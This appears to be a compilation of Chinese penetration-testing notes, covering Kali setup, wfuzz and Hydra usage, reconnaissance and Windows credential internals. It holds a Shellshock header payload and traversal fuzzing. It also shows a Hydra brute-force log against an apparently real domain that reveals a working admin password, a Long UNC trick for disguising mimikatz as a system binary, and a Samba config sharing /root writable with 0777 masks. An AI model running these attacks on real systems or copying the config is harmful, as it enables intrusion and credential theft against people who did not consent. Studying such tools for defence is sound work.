(正在读取数据库 ... 系统当前共安装有 467060 个文件和目录。)
准备解压 .../archives/tlp_1.3.1-2_all.deb  ...
正在解压 tlp (1.3.1-2) ...
正在选中未选择的软件包 tlp-rdw。
准备解压 .../tlp-rdw_1.3.1-2_all.deb  ...
正在解压 tlp-rdw (1.3.1-2) ...
正在设置 tlp (1.3.1-2) ...
update-rc.d: We have no instructions for the tlp init script.
update-rc.d: It looks like a non-network service, we enable it.
正在设置 tlp-rdw (1.3.1-2) ...
正在处理用于 man-db (2.9.4-2) 的触发器 ...
正在处理用于 kali-menu (2021.2.0) 的触发器 ...

┌──(root💀kali)-[~]
└─# sudo tlp start
TLP started in AC mode (auto).

┌──(root💀kali)-[~]
└─# sudo tlp-stat
--- TLP 1.3.1 --------------------------------------------

+++ Configured Settings:
defaults.conf L0004: TLP_ENABLE="1"
defaults.conf L0005: TLP_PERSISTENT_DEFAULT="0"
defaults.conf L0006: DISK_IDLE_SECS_ON_AC="0"
defaults.conf L0007: DISK_IDLE_SECS_ON_BAT="2"
defaults.conf L0008: MAX_LOST_WORK_SECS_ON_AC="15"
defaults.conf L0009: MAX_LOST_WORK_SECS_ON_BAT="60"
defaults.conf L0010: CPU_ENERGY_PERF_POLICY_ON_AC="balance_performance"
defaults.conf L0011: CPU_ENERGY_PERF_POLICY_ON_BAT="balance_power"
defaults.conf L0012: SCHED_POWERSAVE_ON_AC="0"
defaults.conf L0013: SCHED_POWERSAVE_ON_BAT="1"
defaults.conf L0014: NMI_WATCHDOG="0"
defaults.conf L0015: DISK_DEVICES="nvme0n1 sda"
defaults.conf L0016: DISK_APM_LEVEL_ON_AC="254 254"
defaults.conf L0017: DISK_APM_LEVEL_ON_BAT="128 128"
defaults.conf L0018: DISK_IOSCHED="keep keep"
defaults.conf L0019: SATA_LINKPWR_ON_AC="med_power_with_dipm max_performance"
defaults.conf L0020: SATA_LINKPWR_ON_BAT="med_power_with_dipm min_power"
defaults.conf L0021: AHCI_RUNTIME_PM_TIMEOUT="15"
defaults.conf L0022: PCIE_ASPM_ON_AC="default"
defaults.conf L0023: PCIE_ASPM_ON_BAT="default"
defaults.conf L0024: RADEON_POWER_PROFILE_ON_AC="default"
defaults.conf L0025: RADEON_POWER_PROFILE_ON_BAT="default"
defaults.conf L0026: RADEON_DPM_PERF_LEVEL_ON_AC="auto"
defaults.conf L0027: RADEON_DPM_PERF_LEVEL_ON_BAT="auto"
defaults.conf L0028: WIFI_PWR_ON_AC="off"
defaults.conf L0029: WIFI_PWR_ON_BAT="on"
defaults.conf L0030: WOL_DISABLE="Y"
defaults.conf L0031: SOUND_POWER_SAVE_ON_AC="0"
defaults.conf L0032: SOUND_POWER_SAVE_ON_BAT="1"
defaults.conf L0033: SOUND_POWER_SAVE_CONTROLLER="Y"
defaults.conf L0034: BAY_POWEROFF_ON_AC="0"
defaults.conf L0035: BAY_POWEROFF_ON_BAT="0"
defaults.conf L0036: BAY_DEVICE="sr0"
defaults.conf L0037: RUNTIME_PM_ON_AC="on"
defaults.conf L0038: RUNTIME_PM_ON_BAT="auto"
defaults.conf L0039: RUNTIME_PM_DRIVER_BLACKLIST="amdgpu mei_me nouveau nvidia pcieport radeon"
defaults.conf L0040: USB_AUTOSUSPEND="1"
defaults.conf L0041: USB_BLACKLIST_BTUSB="0"
defaults.conf L0042: USB_BLACKLIST_PHONE="0"
defaults.conf L0043: USB_BLACKLIST_PRINTER="1"
defaults.conf L0044: USB_BLACKLIST_WWAN="0"
defaults.conf L0045: USB_AUTOSUSPEND_DISABLE_ON_SHUTDOWN="0"
defaults.conf L0046: RESTORE_DEVICE_STATE_ON_STARTUP="0"
defaults.conf L0047: RESTORE_THRESHOLDS_ON_BAT="0"
defaults.conf L0048: NATACPI_ENABLE="1"
defaults.conf L0049: TPACPI_ENABLE="1"
defaults.conf L0050: TPSMAPI_ENABLE="1"

+++ System Info
System         = Tencent Cloud 3.0 CVM
BIOS           = seabios-1.9.1-qemu-project.org
Release        = Kali GNU/Linux Rolling
Kernel         = 5.10.0-kali5-amd64 #1 SMP Debian 5.10.24-1kali1 (2021-03-23) x86_64
/proc/cmdline  = BOOT_IMAGE=/boot/vmlinuz-5.10.0-kali5-amd64 root=UUID=c8ace5dc-4db8-438d-be1f-bfe23e0fba66 ro quiet splash
Init system    = systemd v247 (247.3-3)
Boot mode      = BIOS (CSM, Legacy)
SELinux status = disabled

+++ TLP Status
State          = enabled
RDW state      = enabled
Last run       = 14时57分20秒,      4 sec(s) ago
Mode           = AC
Power source   = unknown

Notice: tlp.service is not enabled -- invoke "systemctl enable tlp.service" to correct this!

+++ Processor
CPU model      = AMD EPYC 7K62 48-Core Processor

/sys/devices/system/cpu/cpufreq/boost                  = (not available)

Intel EPB: unsupported CPU.

/sys/module/workqueue/parameters/power_efficient       = N
/proc/sys/kernel/nmi_watchdog                          = 0

+++ Temperatures
Fan speed              = (not available)

+++ File System
/proc/sys/vm/laptop_mode               =     0
/proc/sys/vm/dirty_writeback_centisecs =  1500
/proc/sys/vm/dirty_expire_centisecs    =  1500
/proc/sys/vm/dirty_ratio               =    20
/proc/sys/vm/dirty_background_ratio    =    10

+++ Storage Devices
Devices = nvme0n1 sda

/dev/nvme0n1: not present.

/dev/sda: not present.

+++ AHCI Link Power Management (ALPM)
No AHCI-enabled host controller detected.

+++ AHCI Host Controller Runtime Power Management
/sys/bus/pci/devices/0000:00:01.1/ata1/power/control = on
/sys/bus/pci/devices/0000:00:01.1/ata2/power/control = on

+++ Wireless
bluetooth = none (no device)
wifi      = none (no device)
wwan      = none (no device)

+++ Audio

+++ PCIe Active State Power Management
/sys/module/pcie_aspm/parameters/policy = [default] performance powersave powersupersave (using BIOS preferences)

+++ Runtime Power Management
Device blacklist = (not configured)
Driver blacklist = amdgpu mei_me nouveau nvidia pcieport radeon

/sys/bus/pci/devices/0000:00:00.0/power/control = on   (0x060000, Host bridge, no driver)
/sys/bus/pci/devices/0000:00:01.0/power/control = on   (0x060100, ISA bridge, no driver)
/sys/bus/pci/devices/0000:00:01.1/power/control = on   (0x010180, IDE interface, ata_piix)
/sys/bus/pci/devices/0000:00:01.2/power/control = on   (0x0c0300, USB controller, uhci_hcd)
/sys/bus/pci/devices/0000:00:01.3/power/control = on   (0x068000, Bridge, piix4_smbus)
/sys/bus/pci/devices/0000:00:02.0/power/control = on   (0x030000, VGA compatible controller, cirrus)
/sys/bus/pci/devices/0000:00:03.0/power/control = on   (0x060400, PCI bridge, no driver)
/sys/bus/pci/devices/0000:00:04.0/power/control = on   (0x060400, PCI bridge, no driver)
/sys/bus/pci/devices/0000:00:05.0/power/control = on   (0x020000, Ethernet controller, virtio-pci)
/sys/bus/pci/devices/0000:00:06.0/power/control = on   (0x010000, SCSI storage controller, virtio-pci)
/sys/bus/pci/devices/0000:00:07.0/power/control = on   (0x00ff00, Unclassified device [00ff], virtio-pci)

+++ USB
Autosuspend         = enabled
Device whitelist    = (not configured)
Device blacklist    = (not configured)
Bluetooth blacklist = disabled
Phone blacklist     = disabled
WWAN blacklist      = disabled

Bus 001 Device 001 ID 1d6b:0001 control = auto, autosuspend_delay_ms =    0 -- Linux Foundation 1.1 root hub (hub)

+++ Battery Features: Charge Thresholds and Recalibrate
natacpi    = inactive (no kernel support)
tpacpi-bat = inactive (laptop not supported)
tp-smapi   = inactive (laptop not supported)

+++ Battery Status
No battery data available.

限制inode缓存

建议大于4g内存的计算机限制inode缓存

代价是某些系统项将在RAM内存中保留更长的时间

这将减少用于一般任务的可用RAM数量

1
2
3

gedit admin:///etc/sysctl.conf
#添加如下
vm.vfs_cache_pressure=50

/tmp 放到内存里

内存大于8g计算机

1 2	sudo cp -v /usr/share/systemd/tmp.mount /etc/systemd/system/ sudo systemctl enable tmp.mount && reboot

查看状态

1	systemctl status tmp.mount

取消使用/tmpfs

1	sudo rm -v /etc/systemd/system/tmp.mount

禁用无线芯片电源管理

以提高用电量为代价,提高速度和无线质量

gedit admin:///etc/NetworkManager/conf.d/default-wifi-powersave-on.conf
#修改
wifi.powersave = 2
#重启

partial reboot /部分重启

linux如果死机,可尝试partial reboot (ctrl + alt + back)

gedit admin:///etc/default/keyboard
#修改
XKBOPTIONS="terminate:ctrl_alt_bksp"
#重启

firejail沙箱

#安装
af install firejail
#使用
firejail firefox
#验证
firejail --tree

开启数据库

1 2	service postgresql start msfdb init

anaconda 安装

1
2
3

wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.11-Linux-x86_64.sh
chmod +x Anaconda*
./Anaconda*

npm安装及picgo-core

apt -y install npm
#换源
npm config set registry  https://registry.npm.taobao.org
#验证
npm config get registry
#安装picgo
npm install -g picgo

安装smb

apt install samba
vim /etc/samba/smb.conf 

[root]
  comment = share
  path = /root
  available = yes
  browsable = yes
  writable = yes
  create mask = 0777
  directory mask = 0777
  valid users = root
  
/etc/init.d/smbd restart

未完待续

116-wfuzz

2021-04-03T07:21:00.000Z

wfuzz

Python语言编写的Fuzzer
- 功能多、速度快、灵活性高、可扩展
- 从所有入口向服务器提交数据( IP、域名、端口、方法、变量、头部…)
- 使用占位符标识注入点( FUZZ )
- 指定Payload进行替换提交数据

Payload模块(encoders/iterators/scripts/printers)

wfuzz -e payloads
wfuzz -z help --slice file payload详细信息
wfuzz -z range,1-254 -z file,a.txt --hc 404 http://1.1.1.FUZZ/FUZ2Z
-Z --conn-delay 3 --req-delay 3
wfuzz -z range,1-254 -z file,a.txt --hh BBB http://1.1.1.FUZZ{b}/FUZ2Z{a}

      /usr/share/wordlists                            23s   root@kali  0.07   14:40:25    ❯ wfuzz -c -v -w ./SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -d "user=admin&pw=FUZZ{a}" --hh BBB -u "http://www.c1moon.com/admin/index.php?action=login"   /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.  ********************************************************  * Wfuzz 3.1.0 - The Web Fuzzer                         *  ********************************************************    Target: http://www.c1moon.com/admin/index.php?action=login  Total requests: 10000    ====================================================================================================================================================  ID           C.Time       Response   Lines      Word     Chars       Server                           Redirect                         Payload  ====================================================================================================================================================    000000001:   1.039s       200        33 L       100 W    1549 Ch     Microsoft-IIS/8.5                                                 "a"  000000002:   1.063s       302        1 L        3 W      87 Ch       Microsoft-IIS/8.5                ./                               "123456"  ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...    Total time: 0  Processed Requests: 141  Filtered Requests: 139  Requests/sec.: 0

wfuzz -H “User- Agent: () { :;}; echo; echo XXX” --ss XXX -w cgi.txt http://a/FUZZ

结果过滤
- –hc / SC #响应码
- –hl / sl #响应Body行数
- –hw / SW #响应Body word数量
- –hh / sh #响应Body chars数量
- –hs / SS #响应Body正则匹配
–filter
- wfuzz -c -v -z list,a-b-admin -z list,1-2-password -d "username=FUZZ&password=FUZ2Z&Login=Login" --filter "headers.response.Location='~index.php'" http://url/dvwa/login.php
- http://wfuzz.readthedocs.io/en/latest/

URL参数

wfuzz -C -V -w /usr/share/wfuzz/wordlist/Injections/Traversal.txt -b
“security= low; PHPSESSID= 898d5fb4a2b85261f1dff1fca1d9b30c” --ss
‘root;x’ -u http://ip/dvwa/vulnerabilities/fi/?page=FUZZ

测试Cookie
wfuzz -z file,a.txt -b cookie =FUZZ - http://ip/

测试Head
wfuzz -z file,a.txt -H “User-Agent: IE99” http://ip/FUZZ

请求方法
wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS-DELETE-MOVE -X FUZZ ip

使用代理
wfuzz -Z file,a.txt -p ip:8080 http://ip/FUZZ

HTTP身份认证
wfuzz -Z list,user-pass --basic FUZZ:FUZ2Z http://ip/

递归深度
wfuzz -z file,a.txt -R 3 http://ip/FUZZ

速度控制
-t #线程(并发数)
-S #请求间隔

输出格式
wfuzz -f outfile,json -w a.txt http://ip/FUZZ

全局配置~/.wfuzz/wfuzz.ini
cancle_on_plugin_except= 1 #插件异常退出
concurrent plugins = 3 #并发插件上限
lookup_dirs= . #字典文件目录
encode_space = 1 #编码空格键

Iterators模块
wfuzz -e iterators
zip :字典配对 / chain :多字典单变量 / product :默认交叉
wfuzz -z list,a-b-c -z list,1-2-3 -m zip http://ip/FUZZ/FUZ2Z

Encoders模块
●wfuzz -z file,a.txt,md5 http://ip/FUZZ

Script模块
wfuzz --script= robots -z list,robots.txt http://ip/FUZZ

保存调用
wfuzz --script=robots -z list,a.txt --dump-recipe job1 http://ip/FUZZ
wfuzz --recipe job1

预过滤Payload
wfuzz -z list,1-2-1-2-a --slice “FUZZ|u0” http://1.1.1.1/FUZZ

wfuzz库
import wfuzz
a = wfuzz.fuzz(url= “http://ip/FUZZ”, hc=[404] payloads=[( file ,dict(fn="a.txt ))
for r in a:
print r

136-暴力破解hydra

2021-04-03T07:21:00.000Z

Hydra

在线密码破解工具
支持多种协议(身份认证)
- 每种协议有不同的身份认证数据提交格式
- 根据提交数据的返回信息判断认证是成功与否
- adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
- hydra -l [user] -p [pass] [service://server[:PORT][/OPT]]
  hydra -l user -p password ftp://1.1.1.1:2121
  hydra -L user.txt -P pass.txt smb://1.1.1.0/24
  hydra -l user -P pass.txt -M targets.txt ssh
  hydra -C cred.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  - -C : login:pass
  - hydra -U pop3s #查询模块可用选项
  - -R 继续之前未完成的破解任务( hydra.restore )
  - -I 重新开始扫描(忽略hydra.restqre )
  - -S 执行SSL连接( -0使用过时的SSLv2 /v3 )
  - -X MIN:MAX:CHARSET ( 小写a/大写A/数字1 )
    - -X 3:5:aA1 -X 5:5:/%,
  - -e nsr n空密码/ S用户名作密码/ r翻转的用户名做密码
  - -U 循环用户( 默认循环密码)
  - -o 结果输出到文件
  - -f/-F 成功退出(-f per host, -F global)
  - -t / -T 每主机并发连接数/全局并发连接数
  - -c 登录请求延时
  - -4/-6 IPv4 /v6
  - -v/-V 详细信息/每次登陆
- 基于表单的web应用程序密码破解
- hydra -1 admin -P pass.txt 192.168. 20.10 http-post-form "dwwa/login.php:username= ^USER^&password= ^PASS ^&Login=Login:S=index.php -t 1 -vV
- F=login.php #S成功 F失败
- C= /page/cookie:H=‘UA:firefox’ #指定cookie获取页面和http头
- https-post form. http- get-form. https- get-form
- hydra -U http-post form 查看模块参数

例子:表单爆破

hydra -l admin -P ./SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&pw=^pw^:F=/index.php?action=login" -vV

    /usr/share/wordlists                                       14m 26s   root@kali  0.03   15:40:29  
❯ hydra -l admin -P ./SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&pw=^pw^:F=/index.php?action=login" -vV
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-10 15:40:37
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
[DATA] attacking http-post-form://www.c1moon.com:80/admin/index.php:user=^USER^&pw=^pw^:F=/index.php?action=login
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target www.c1moon.com - login "admin" - pass "123456" - 1 of 10000 [child 0] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "password" - 2 of 10000 [child 1] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "12345678" - 3 of 10000 [child 2] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "qwerty" - 4 of 10000 [child 3] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "123456789" - 5 of 10000 [child 4] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "12345" - 6 of 10000 [child 5] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "1234" - 7 of 10000 [child 6] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "111111" - 8 of 10000 [child 7] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "1234567" - 9 of 10000 [child 8] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "dragon" - 10 of 10000 [child 9] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "123123" - 11 of 10000 [child 10] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "baseball" - 12 of 10000 [child 11] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "abc123" - 13 of 10000 [child 12] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "football" - 14 of 10000 [child 13] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "monkey" - 15 of 10000 [child 14] (0/0)
[ATTEMPT] target www.c1moon.com - login "admin" - pass "letmein" - 16 of 10000 [child 15] (0/0)
[80][http-post-form] host: www.c1moon.com   login: admin   password: 123456
[STATUS] attack finished for www.c1moon.com (valid pair found)
1 of 1 target successfully completed, 1 valid password found

41-网络扫描nmap

2021-04-03T07:21:00.000Z

默认情况namp只发一次syn包,1000个常用端口

–top-ports 500
不显示closed端口(open filter)
dns反向域名查询
-e :指定网卡

KALI信息搜集

2021-04-03T07:21:00.000Z

路径枚举

渗透测试初期信息搜集阶段
通常用法
- traceroute
  - 基于icmp协议
  - ip头部ttl值递增,根据返回地址判断路径
- 弊端
  - 路径设备禁用icmp数据包探测无效

每个ttl值发送三个数据包

当ttl值为0 返回icmp数据包

基于tcp协议的路径追踪
- traceroute -T ip
- tcptraceroute ip #shell脚本
技术原理
- 发送ttl值递增的syn包
弊端
- 不建立完整的tcp握手,会被默写nat设备丢弃包

基于正常会话的tcp协议路径追踪
- 0trace iface ip port
技术原理
- 基于正常tcp会话发送ack包
- ip头部ttl递增
优势
- 可能探测到内网地址段
- 绕过某些防火墙
以下情况无效
- 目标防火墙丢弃所有出站icmp数据包
- 目标防火墙作ttl值重写或全包重写
- 路径中存在应用层代理/负载均衡设备
- 防火墙后没有明确的三层设备
- idp/ips容易检测到tcp特征

acccheck

密码破解工具
smb协议分析工具
- tcp445端口
- ms08-067
- wannacry

原理

尝试连接目标默认共享
- ipc$
- ADMIN$
命令参数
- t/T
- u/U
- p/P
- -v

大写接文件

内网渗透

2021-03-25T11:35:43.000Z

windows 特性

工作组

工作组是指数台计算机在同一个内网中，在逻辑上都属于工作组，但是在工作组中的机器之间相互没有信任关
系，每台机器的账号密码只是保存在自己的SAM文件中。那就意味着如果需要共享资源只能新建-个账号并
指定相关资源授予该账号权限才可以完成共享。使得访问资源更有层次化，缺乏管理域控制机制。

Windows用户、组

●不同的用户身份拥有不同的权限
●每个用户包含-一个名称和一个密码
●用户帐户拥有唯一的安全标识符(Security Identifier， SID)

Windows默认账户

●用于特殊用途，- -般不需更修改其权限
●与使用者关联的用户帐户Administrator (管理员用户)
●默认的管理员用户,Guest (来宾用户) 默认是禁用的

Windows内置用户账户

●权限: Guest> User> Administrator> SYSTEM> TrustedInstall
●Local System(NT AUTHORITY\System):为windows的核心组件访问文件等资源提供权限

It has the highest level of permissions on the local system.
If the client and the server are both in a domain, then the Local System account uses the PC account
(hostname$) to login on the remote computer.
If the client or the server is not in a domain, then the Local System account uses ANONYMOUS LOGON.
●Local Service(NT AUTHORITY\Local Service): 预设的拥有最小权限的本地账户
It has permissions as an unpriviledge normal user on the local system.
It always uses ANONYMOUS LOGON, whether a computer is in a domain or not.
●Network Service(NT AUTHORITY\Network Service): 具有运行网络服务权限的计算机账户
It has permissions as an unpriviledge normal user on the local system.
When accessing the network, it behaves the same as the Local System account. .
●TrustedInstaller
C:\Windows\servicing

Windows用户属性

●displayname
●objectsid
●userprincipalname
●samaccountname
●whencreateds
●owdlastset
●lastlogon

Windows内置组

●Administrators
●Guests
●Power Users
●Users (标准用户)
●Remote Desktop Users

Windows组

●通讯组:不能控制对资源对访问，逻辑上将用户归纳，方便发件等
●安全组:权限的集合，对组配置权限便于管理
●全局组
●通用组
●域本地组

Windows内置用户账户

●administators 组内的用户，都具备系统管理员的权限，它们拥有对这台计算机最大的控制权限，可以执
行整台计算机的管理任务。内置的系统管理员账号Administrator就是本地组的成员，而且无法将它从该.
组删除。如果这台计算机已加入域，则域的Domain Admins会自动地加入到该计算机的Administrators
组内。也就是说，域上的系统管理员在这台计算机上也具备着系统管理员的权限。
Guests组是提供给没有用户帐户但是需要访问本地计算机内资源的用户使用，该组的成员无法永久地改变
其桌面的工作环境。该组最常见的默认成员为用户帐号Guest。
●Power Users组内的用户具备比Users组更多的权利，但是比Administrators组拥有的权利更少- -些，
例如，可以:创建、删除、更改本地用户帐户;创建、删除、管理本地计算机内的共享文件夹与共享打印
机;自定义系统设置，例如更改计算机时间、关闭计算机等。但是不可以更改Administrators,无法夺取
文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。
●Users组内的成员只拥有一些基本的权利，例如运行应用程序，但是他们不能修改操作系统的设置、不能
更改其它用户的数据、不能关闭服务器级的计算机。所有添加的本地用户帐户者自动属于Users组。如果这
台计算机已经加入域，则域的DomainUsers会自动地被加入到该计算机的Users组中。
RemoteDesktopUsers组内的成员拥有远程桌面登录的权限。默认Administrators组内的成员都拥有
远程桌面的权限。

UAC

●用户帐户控制(User Account Control )
用户帐户控制(User Account Control, 简写作UAC)是微软公司在其Windows Vista及更高版本操作系
统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权，以达到帮助阻
止恶意程序(有时也称为“恶意软件" )损坏系统的效果。
1.组信息项中主要是Integrity levels (IL) [进程完整性级别不同]。标准用户是Medium Mandatory
Level，UAC用户是High Mandatory Level, 它包括∪ntrust，Low， Medium， Hight， System
等，级别越低，权限也就越低。我们可以通过GetTokenInformation的TokenIntegrityLevel来进行查
询
2.体现在Privilege中的就是UAC用户拥有很多Privilege,比如最常用的SeDebugPrivilege
●完整的Privilege列表

已过滤的管理员令牌

●UAC也使用受限制的令牌来创建已过滤的管理员令牌
●特征:
完整性级别被设置为中

安全描述符( Security descriptor )

●当一个对象被创建时，系统将为其分配安全描述符，安全描述符包含了该对象的属主对该对象所配置的一
些安全属性和策略
●安全描述符由4部分组成:
●SID(标识该对象拥有的SID)
●DACL(该对象的访问控制策略)
●SACL(该对象的访问行为的审计策略)
●Flag (其他标志位信息) ;

ACL
●ACL (访问控制列表) :是否可以访问?
●DACL:用来标志某个安全对象允许被哪些对象访问
1.无DACL授予该对象的所有访问权限给任何用户
2.有DACL、无ACE拒绝对该对象任意访问
●SACL:该对象上的存取方式(读、写、执行)列表
●ACE: ACL的每- -项.
1.谁对你有权限
2.允许/拒绝
3.有什么权限:读写执行、对属性读写执行、对特殊属性读写执行
4.是否可以被继承:下属组是否应用

Windows Token

windwos安全模型中，有两个角色，一个就是访问者(进程)，-个是被访问者(资源)
资源是- -个广义的概念，所谓的资源可以是文件，目录，注册表，管道，命名句柄，进程，线程
每个资源都有-一个安全描述符，安全描述符当中包含了ACL(访问控制列表)
访问控制列表中每条规则都对应记录着一个SID被允许和拒绝的操作(如读、写、执行)

Windows Access Token

Windows Access Token(访问令牌)，它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录
计算机后，都会生成一 -个Access Token，这个Token在用户创建进程或者线程时会被使用，不断的拷贝,
这也就解释了A用户创建- - 个进程而该进程没有B用户的权限。当用户注销后，系统将会使主令牌切换为模拟
令牌，不会将令牌清除，只有在重启机器后才会清除
Access Token分为两种(主令牌、模拟令牌)
*主令牌(Primary token) :交互式会话登陆(例:本地用户登陆、用户桌面等)
To
*模拟令牌(Impersonation token) :非交互式登陆(例: net use访问共享文件)
●用户双击运行一个程序都会拷贝“explorer.exe" 的Access Token。.
●用户注销后系统将会使主令牌切换为模拟令牌不会将令牌清除只有在重启机器后才会清除。

Windows Access Token组成
会话ld:用户帐户的安全标识符(SID)
用户所属的组的SID
用于标识当前登录会话的登录SID
特权列表:用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计数据

UNC ( Universal Naming Convention )
●通用命名规则，可用来表示Windows系统中文件的位置
●一个路径，指定在一个独特的位置的文件系统
●常见的定界字符是斜杠(“1”)，反斜杠字符(“\”)或冒号(“:”)
●资源可以用绝对路径或相对路径表示

Long UNC
●正常UNC支持的最大长度为260字符
●为了支持更长的字符，引入了Long UNC，支持最大长度为32767
●特殊Long UNC的文件能够欺骗系统，将其识别为另一个文件(同名多文件)
●Example: \?\C:\test\a.exe
如果在Long UNC文件名后面加- -个空格，系统对文件名的判断将发生错误
type putty.exe > "\?\C:\test\mimikatz.exe ”

Long UNC伪造签名
●文件伪造，
type putty.exe > "\?\C:\Windows\System32\calc.exe "
●获取短文件名
dir /x calc*.exe
●执行
1.wmic
wmic process call create C:\Windows\System32\CALC-1.exe
2.vbs
Set objShell = CreateObject(“Wscript. Shell’”)
objShell.Run "c:\windows\system32\calc- 1.exe "
3.js
var wsh=new ActiveXObject(“wscript. shell”);
wsh.run(“c:llwindowsllsystem32\calc-1.exe”);
●删除
del "I?\C:\Windows\System32\calc.exe

SID
DeadEye
安全标识符是一一个唯一的字符串，它可以代表一个账户、一个用户组。用于标识该用户账号以及其所属的用户
组。系统在用户请求访问某些对象时，通过提供的访问令牌来确认是否具有对应的访问权限。
●通常它还有一个SID固定列表，SID表现形式:
域SID-用户ID
计算机SID-用户ID

常见SID
●500 ( Administrator )
●501 ( Guest)
●502 ( Krbtgt)
●512 (Domain Admins)
●513 ( Domain Users )
●515 (Domain Computers)
●516 (Domain Controllers)
●519 (Enterprise Admins )

SAM
DeadEye
SAM(安全账户管理器)，SAM是用来存储Windows操作系统密码的数据库文件，为了避免明文密码泄漏，
SAM文件中保存的是明文密码经过-系列算法处理过的Hash值，被保存的Hash分为LMHash.
NTLMHash。在用户在本地或远程登陆系统时，会将Hash值与SAM文件中保存的Hash值进行对比。在后
期的Windows系统中，SAM文件中被保存的密码Hash都被密钥SYSKEY加密。
SAM文件在磁盘中的位置在C:\windows\system32\config\sam
SAM文件在Windows系统启动后被系统锁定，无法进行移动和复制

SAM-注册表
●HKLM\SAM: 包含用户密码的NTLMv2哈希值
●HKLM\Security:包含缓存的域记录LSA secrets/LSA密钥
●HKLM\SYSTEM:包含可用于加密LSA secret和加密SAM数据库的密钥(syskey)
●Syskey: 用来解密SAM获取Hash
●Syskey组成:
HKEY_ LOCAL_ MACHINE\SYSTEM\CurrentControlSetIControlLsa键值
JD、Skew1、GBG和Data中的内容，拼接成syskey

LM Hash漏洞
1.不区分大小写，原因见LM Hash生成方法
2.密码最长为14位
3.判断位数(第2组为aad3b435b51404ee，密码肯定少于7位)
4.DES加密强度较弱
5.如果14位密码，可被分开破解

Mscache Hash
DeadEye
mscache hash是域用户在登录域内机器时，所留下的域缓存凭据
●MSCACHE或者叫domain cached credentials. DCC、域缓存凭据
dcc1 hash与dcc2 hash
●AES-CTS加密
默认是保存10个凭据
●在机器连不上域控的时候也可以使用Mscache Hash登陆机器(交互式登陆，XP 's RDP Client)

域
●域:有安全边界的集合，同一域中计算机相互信任，计算机之间允许相互访问
●根域:网络中第-一个域，一个域林只有一个根域
●域树:由多个域组合，形成连续的名字空间。一个.代表一个层次，层次越深级别越低
如: dm.org、mail.dm.org. test.mai.dm.org
●域林:–个域林可以有多个域树
如:
dm.org根域
zhuren.org域树

漏洞利用

2021-03-25T11:35:43.000Z

信息搜集

2021-03-25T11:35:43.000Z

信息搜集概念

信息收集是指黑客为了更加有效地实施渗透攻击而在攻击前或攻击过程中对目标的所有探测活动

信息搜集的目的

信息搜集的目的只有一个,通过搜集信息得知漏洞信息去利用

主动搜集和被动搜集

主动信息搜集是使用网站的直接访问,扫描网站,以及探测网站产生交互的被称之为主动搜集.被动信息搜集是以通过你第三方来进行信息搜集

信息搜集的流程

whois

whois信息可以查询到注册域名的详细信息的数据库
whois通常使用tcp协议43端口.每个域名/ip的whois信息由对应的管理机构保存.
推荐站长之家api调用

dmitry(kali自带)


┌──(root💀B)-[~]
└─# dmitry -iwns dansemal.cn
Deepmagic Information Gathering Tool
"There be some deep magic going on"

HostIP:183.240.60.175
HostName:dansemal.cn

Gathered Inet-whois information for 183.240.60.175
---------------------------------


inetnum:        182.161.64.0 - 184.255.255.255
netname:        NON-RIPE-NCC-MANAGED-ADDRESS-BLOCK
descr:          IPv4 address block not managed by the RIPE NCC
remarks:        ------------------------------------------------------
remarks:
ration information,
remarks:        you can consult the following sources:
remarks:
remarks:        IANA
remarks:        http://www.iana.org/assignments/ipv4-address-space
remarks:        http://www.iana.org/assignments/iana-ipv4-special-registry
remarks:        http://www.iana.org/assignments/ipv4-recovered-address-space
remarks:
remarks:        AFRINIC (Africa)
remarks:        http://www.afrinic.net/ whois.afrinic.net
remarks:
remarks:        APNIC (Asia Pacific)
